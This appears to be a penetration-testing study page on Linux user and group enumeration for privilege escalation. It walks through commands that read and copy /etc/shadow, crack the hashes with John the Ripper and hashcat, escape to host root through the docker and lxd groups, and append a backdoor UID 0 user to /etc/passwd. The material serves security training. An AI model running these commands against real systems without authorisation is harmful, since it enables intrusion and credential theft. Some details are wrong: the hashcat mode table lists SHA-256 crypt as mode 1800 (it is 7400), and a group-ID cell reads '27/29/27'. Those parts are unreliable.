Domain 4PrivEsc & Password AttacksCORE

User and Group Enumeration

Comprehensive guide to enumerating Linux users, groups, password hashes, and privilege configurations for privilege escalation.

Domain: Domain 4: Privilege Escalation & Password Attacks•Updated: 2026-09-01
#enumeration#users#groups#passwd#shadow#password-cracking

User and Group Enumeration

Objective: Identify all users, groups, password configurations, and privilege boundaries on the target Linux system to find escalation paths.


Table of Contents

  1. UID/GID System
  2. /etc/passwd File
  3. /etc/shadow File
  4. /etc/group File
  5. /etc/gshadow File
  6. Key Enumeration Commands
  7. Password Hash Cracking Workflow
  8. Interpreting Findings
  9. OSCP Exam Tips

UID/GID System

Linux identifies users and groups numerically. The User ID (UID) and Group ID (GID) ranges have standardized meanings:

UID Range Purpose Examples
0 Root (superuser) root
1-999 System accounts daemon, bin, sys, www-data, nobody
1000+ Regular user accounts user1, admin, developer
65534 Nobody (unprivileged fallback) nobody

Why This Matters for Privesc

  • UID 0 = Root access. Any account with UID 0 has full root privileges.
  • System accounts (1-999) typically should not have login shells. If one does, it’s suspicious.
  • Regular users (1000+) are your primary targets for horizontal escalation.
  • Shared GIDs can grant access to group-owned resources.
# Check your current UID
id
# Output: uid=1001(user1) gid=1001(user1) groups=1001(user1),27(sudo)

# Check UID of a specific user
id user1

# List all UIDs
cat /etc/passwd | cut -d: -f1,3

/etc/passwd File

Format

The /etc/passwd file contains one entry per line with 7 colon-separated fields:

username:password_placeholder:UID:GID:GECOS:home_directory:login_shell
Field Position Description Example
1 $1 Username john
2 $2 Password placeholder x (hash stored in /etc/shadow)
3 $3 User ID (UID) 1001
4 $4 Group ID (GID) 1001
5 $5 GECOS (comment/real name) John Doe,,,)
6 $6 Home directory /home/john
7 $7 Login shell /bin/bash

Example Entries

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
john:x:1001:1001:John Doe,,,:/home/john:/bin/bash
admin:x:1002:1002::/home/admin:/bin/bash
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin

Critical Field Analysis

Password Placeholder (Field 2)

Value Meaning Privesc Implication
x Hash in /etc/shadow Normal - need shadow access
(empty) No password set Can login without password via su
! or * Account locked Cannot login with password
Actual hash Hash stored directly (old systems) Extract and crack directly

Login Shell (Field 7)

Shell Meaning Privesc Implication
/bin/bash Interactive shell User can login interactively
/bin/sh Basic shell User can login
/bin/zsh Z shell User can login
/usr/sbin/nologin No login allowed System account (usually safe)
/bin/false No login allowed Account disabled for login
/sbin/nologin No login allowed Same as nologin

Key Commands for /etc/passwd

# Read the entire file
cat /etc/passwd

# Find users with login shells (exclude nologin/false)
grep -vE '/nologin|/false' /etc/passwd

# Find all UID 0 accounts (root-equivalent)
awk -F: '$3 == 0 {print $1}' /etc/passwd

# Find all regular users (UID >= 1000)
awk -F: '$3 >= 1000 && $3 != 65534 {print $1, $3, $7}' /etc/passwd

# Find users with empty passwords
awk -F: '$2 == "" {print $1}' /etc/passwd

# Extract just usernames
cut -d: -f1 /etc/passwd

# Show UID, username, and shell for interactive users
awk -F: '$7 ~ /bash|sh$/ {print $1, $3, $7}' /etc/passwd

# Check file permissions
ls -la /etc/passwd
# Normal: -rw-r--r-- (644) - world readable
# If writable by current user: CRITICAL - can add UID 0 user

/etc/shadow File

Format

The /etc/shadow file stores password hashes and account aging information:

username:password_hash:last_changed:min:max:warn:inactive:expire:reserved
Field Position Description
1 $1 Username
2 $2 Encrypted password hash
3 $3 Days since Jan 1, 1970 when password last changed
4 $4 Minimum days before password change
5 $5 Maximum days before password change
6 $6 Days before expiry to warn user
7 $7 Days inactive after expiry before account disabled
8 $8 Date account expires (days since epoch)
9 $9 Reserved

Example Entries

root:$6$rounds=656000$saltsalt$hashhashhashhash:19500:0:99999:7:::
john:$6$rounds=5000$abc12345$verylonghashstringhere:19501:0:99999:7:::
admin:!:19502:0:99999:7:::
nobody:!:19500:0:99999:7:::

Password Hash Types

The hash field uses a prefix to identify the algorithm:

Prefix Algorithm Rounds Parameter Strength
$1$ MD5 (crypt) Yes Weak - crack fast
$2a$ bcrypt Built-in cost Strong
$2b$ bcrypt (fixed) Built-in cost Strong
$2y$ bcrypt (PHP) Built-in cost Strong
$5$ SHA-256 (crypt) Yes Moderate
$6$ SHA-512 (crypt) Yes Strong (default on modern Linux)
$y$ yescrypt Yes Very strong
! or * Account locked N/A N/A
(empty) No password N/A CRITICAL

Hash Format Examples

# MD5 ($1$)
$1$saltsalt$H8z9K3mF7pQ2rT1vX4wY6.

# SHA-256 ($5$) with rounds
$5$rounds=5000$saltsalt$K9mP2nQ4rS6tU8vW0xY2zA3bC5dE7fG9hJ1kL3mN5pQ

# SHA-512 ($6$) with rounds
$6$rounds=656000$saltsalt$A1b2C3d4E5f6G7h8I9j0K1l2M3n4O5p6Q7r8S9t0U1v2W3x4Y5z6A7b8C9d0E1f2G3h4I5j6K7l8M9n0O1p2Q3r4S5t6U7v8W9x0Y1z

# bcrypt ($2b$)
$2b$12$saltsaltsaltsalK9mP2nQ4rS6tU8vW0xY2zA3bC5dE7fG9hJ1kL3mN5pQ7rS9t

Accessing /etc/shadow

# Try to read shadow (requires root or shadow group)
cat /etc/shadow

# Check permissions
ls -la /etc/shadow
# Normal: -rw-r----- (640), owned by root:shadow
# If world-readable: CRITICAL finding

# Check if you're in the shadow group
groups
grep shadow /etc/group

Cracking with John the Ripper

# Copy shadow to local machine
cp /etc/shadow shadow.txt

# Basic John attack
john --format=crypt shadow.txt

# Specify hash type
john --format=md5crypt shadow.txt      # for $1$
john --format=sha256crypt shadow.txt    # for $5$
john --format=sha512crypt shadow.txt    # for $6$
john --format=bcrypt shadow.txt         # for $2b$

# Use wordlist
john --wordlist=/usr/share/wordlists/rockyou.txt shadow.txt

# Show cracked passwords
john --show shadow.txt

# Use rules for mutation
john --wordlist=rockyou.txt --rules shadow.txt

# Incremental mode (brute force)
john --incremental shadow.txt

Cracking with Hashcat

# Identify hash mode numbers
# MD5 crypt:     500
# bcrypt:        3200
# SHA-256 crypt: 1800
# SHA-512 crypt: 1800

# SHA-512 crypt
hashcat -m 1800 shadow.txt /usr/share/wordlists/rockyou.txt

# MD5 crypt
hashcat -m 500 shadow.txt /usr/share/wordlists/rockyou.txt

# bcrypt
hashcat -m 3200 shadow.txt /usr/share/wordlists/rockyou.txt

# With rules
hashcat -m 1800 -a 0 shadow.txt rockyou.txt -r rules/best64.rule

# Show cracked
hashcat -m 1800 shadow.txt rockyou.txt --show

# Resume attack
hashcat -m 1800 shadow.txt rockyou.txt --restore

Combining passwd and shadow

# Unshadow combines both files for John
unshadow /etc/passwd /etc/shadow > combined.txt
john --format=crypt combined.txt

# Using hashcat, extract just the hash lines
cat /etc/shadow | grep -v '^\!' | grep -v '^\*'

/etc/group File

Format

group_name:password_placeholder:GID:member_list
Field Position Description
1 $1 Group name
2 $2 Password placeholder (usually x)
3 $3 Group ID (GID)
4 $4 Comma-separated list of supplementary group members

Example Entries

root:x:0:
daemon:x:1:
bin:x:2:
sys:x:3:
adm:x:4:syslog,john
tty:x:5:
disk:x:6:
sudo:x:27:john,admin
docker:x:998:john
lxd:x:999:admin
shadow:x:42:

Privileged Groups

Group GID Privilege Escalation Path
root 0 Full system access Direct root
sudo 27/29/27 Can use sudo sudo -l, sudo su
wheel 10 Can use su to root (RHEL) su -
adm 4 Read logs /var/log/* access
docker 998 Docker access Mount host root, escape container
lxd 999 LXD access Create privileged containers
shadow 42 Read /etc/shadow Access password hashes
disk 6 Raw disk access Read raw partitions
systemd-journal varies Read all logs Full journal access
lxd-admin varies LXD admin Full LXD control
plugdev varies Device access Mount devices
staff varies Staff group (BSD/macOS) Various privileges
libvirt varies Virtualization VM escape possible

Docker Group Escalation

Being in the docker group is essentially root:

# If in docker group, escape to root
docker run -v /:/hostroot -it ubuntu chroot /hostroot /bin/bash

# Or mount the host filesystem
docker run --rm -v /:/mnt -it alpine chroot /mnt

LXD Group Escalation

# If in lxd group
lxc image import lxd_4.0.tar.gz --alias myimage
lxc init myimage mycontainer -c security.privileged=true
lxc config device add mycontainer hostvol disk source=/ path=/mnt/host recursive=true
lxc start mycontainer
lxc exec mycontainer /bin/bash
# Now you have host root access via /mnt/host

Key Commands for /etc/group

# Read all groups
cat /etc/group

# Find groups you belong to
groups

# Find members of a specific group
grep '^sudo:' /etc/group
grep '^docker:' /etc/group

# Find all privileged groups for current user
id -Gn

# Check if a user is in a specific group
grep '^sudo:' /etc/group | grep -o ',\?john'

# List all groups with members
awk -F: '$4 != "" {print $1, $4}' /etc/group

/etc/gshadow File

Similar to /etc/shadow but for groups. Stores group passwords:

group_name:group_password:GID:members
# Read if accessible
cat /etc/gshadow

# Check permissions
ls -la /etc/gshadow
# Normal: -rw-r----- root:shadow

A group password allows any user to newgrp groupname and gain that group’s privileges.


Key Enumeration Commands

Current User Context

# Who am I
whoami
id
id -u        # numeric UID
id -g        # numeric GID
id -G        # all group IDs
id -Gn       # all group names
groups

# Current environment
env
set
echo $USER
echo $HOME
echo $SHELL
echo $PATH

User Enumeration

# All users
cat /etc/passwd

# Users with login shells
grep -vE '/nologin|/false' /etc/passwd

# UID 0 accounts
awk -F: '$3 == 0 {print $1}' /etc/passwd

# Regular users only
awk -F: '$3 >= 1000 && $3 != 65534 {print $1, $3, $7}' /etc/passwd

# Users with empty passwords
awk -F: '$2 == "" {print $1}' /etc/passwd

# Home directories
ls -la /home/
ls -la /root/ 2>/dev/null

Group Enumeration

# All groups
cat /etc/group

# Groups with members
awk -F: '$4 != "" {print}' /etc/group

# Your groups
groups
id -Gn

# Sudo members
grep '^sudo:' /etc/group

# Docker members
grep '^docker:' /etc/group

Sudo Enumeration

# What can you sudo
sudo -l

# Check sudoers files
cat /etc/sudoers
ls -la /etc/sudoers.d/
cat /etc/sudoers.d/*

# NOPASSWD commands
sudo -l | grep -i nopasswd

Last Login Information

# Recent logins
last

# Last login for each user
lastlog

# Failed login attempts
lastb

# Currently logged in users
w
who
users

# Login history from bash
cat ~/.bash_history
cat /root/.bash_history 2>/dev/null

SUID/SGID Binaries

# Find SUID binaries
find / -perm -4000 -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null

# Find SGID binaries
find / -perm -2000 -type f 2>/dev/null
find / -perm -g=s -type f 2>/dev/null

# Find SUID in common locations
find /usr /bin /sbin /opt -perm -4000 -type f 2>/dev/null

Password Hash Cracking Workflow

Step-by-Step Process

1. Extract Hash          2. Identify Type        3. Choose Tool
        |                         |                       |
        v                         v                       v
   cat /etc/shadow      Check $prefix$       John or Hashcat
                                         |
                                         v
                              4. Select Wordlist    5. Apply Rules
                                         |                       |
                                         v                       v
                                  rockyou.txt       -rules / -r
                                         |
                                         v
                              6. Crack & Verify    7. Use Password

Complete Workflow Example

# Step 1: Extract the hash
grep '^john:' /etc/shadow > john.hash

# Step 2: Identify the type
# $6$ = SHA-512 crypt

# Step 3-4: Crack with John
john --format=sha512crypt --wordlist=rockyou.txt john.hash

# Step 5: Try with rules if no result
john --format=sha512crypt --wordlist=rockyou.txt --rules john.hash

# Step 6: Show result
john --show john.hash
# Output: john:password123:1001:1001:...

# Step 7: Use the password
su - john
# Password: password123

Hashcat Mode Reference

Hash Type Prefix Hashcat Mode John Format
MD5 crypt $1$ 500 md5crypt
bcrypt 2a $2a$ 3200 bcrypt
bcrypt 2b $2b$ 3200 bcrypt
SHA-256 crypt $5$ 1800 sha256crypt
SHA-512 crypt $6$ 1800 sha512crypt
yescrypt $y$ 26000 yescrypt

Interpreting Findings

Critical Findings and Their Meanings

Finding Severity Exploitation Path
UID 0 user (non-root) Critical Login as that user = root
Empty password in passwd Critical su username with no password
Writable /etc/passwd Critical Add new UID 0 user
World-readable /etc/shadow High Extract and crack all hashes
In sudo group High sudo -l, find NOPASSWD commands
In docker group Critical Mount host root filesystem
In lxd group Critical Create privileged container
In shadow group High Read /etc/shadow
Shared GID with privileged user Medium Access group-owned files
Weak password hash Medium Crack with wordlist
Account locked (! or *) Low Cannot use password auth

Decision Tree

Can you read /etc/shadow?
├── Yes → Extract hashes → Crack with John/Hashcat
└── No → Check /etc/passwd for empty passwords
          ├── Found empty password → su to that user
          └── No empty passwords → Check sudo -l
              ├── NOPASSWD commands → Exploit
              └── No NOPASSWD → Check group memberships
                  ├── docker/lxd → Container escape
                  └── sudo/wheel → Try cracked passwords

OSCP Exam Tips

Always Do These First

  1. Run id immediately - tells you UID, GID, and all groups
  2. Check /etc/passwd - look for unusual users, UID 0 accounts, empty passwords
  3. Try sudo -l - even if you’re not in sudo group, it might work
  4. Check /etc/shadow permissions - ls -la /etc/shadow
  5. Look for login shells - grep -vE '/nologin|/false' /etc/passwd

Common Patterns to Spot

  • Unusual users with UID >= 1000 and login shells
  • Service accounts that shouldn’t have passwords but do
  • Shared GIDs between your user and privileged users
  • World-writable /etc/passwd - add a backdoor user:
    echo 'backdoor:$6$fakesalt$fakehash:0:0::/root:/bin/bash' >> /etc/passwd
    # Or use openssl to generate a real hash
    openssl passwd -6 -salt mysalt mypassword
    # Then add the user with that hash

Quick Commands Checklist

id
whoami
groups
cat /etc/passwd
grep -vE '/nologin|/false' /etc/passwd
awk -F: '$3 == 0 {print $1}' /etc/passwd
ls -la /etc/shadow
cat /etc/shadow 2>/dev/null
sudo -l
cat /etc/group
last
lastlog

Remember

  • Not all machines have passwords - some use SSH keys only
  • Check every home directory - credentials often left in configs
  • Group membership is often overlooked - always check id -Gn
  • Docker and LXD groups are essentially root - check for these first
  • Empty passwords are common on exam machines - always check

Reference: Common Exam Machine Patterns

Pattern What to Look For Command
Backdoor user UID 0, unusual name awk -F: '$3==0' /etc/passwd
Service account with shell System UID but has bash grep -vE '/nologin' /etc/passwd | grep -E '^[^:]+:x:[0-9]{1,3}:'
Empty password Empty field 2 awk -F: '$2==""' /etc/passwd
Sudo NOPASSWD No password sudo sudo -l | grep NOPASSWD
Docker access In docker group id -Gn | grep docker
Readable shadow World-readable ls -la /etc/shadow

Next: Privilege Levels → Understanding Linux privilege hierarchies and special permission bits.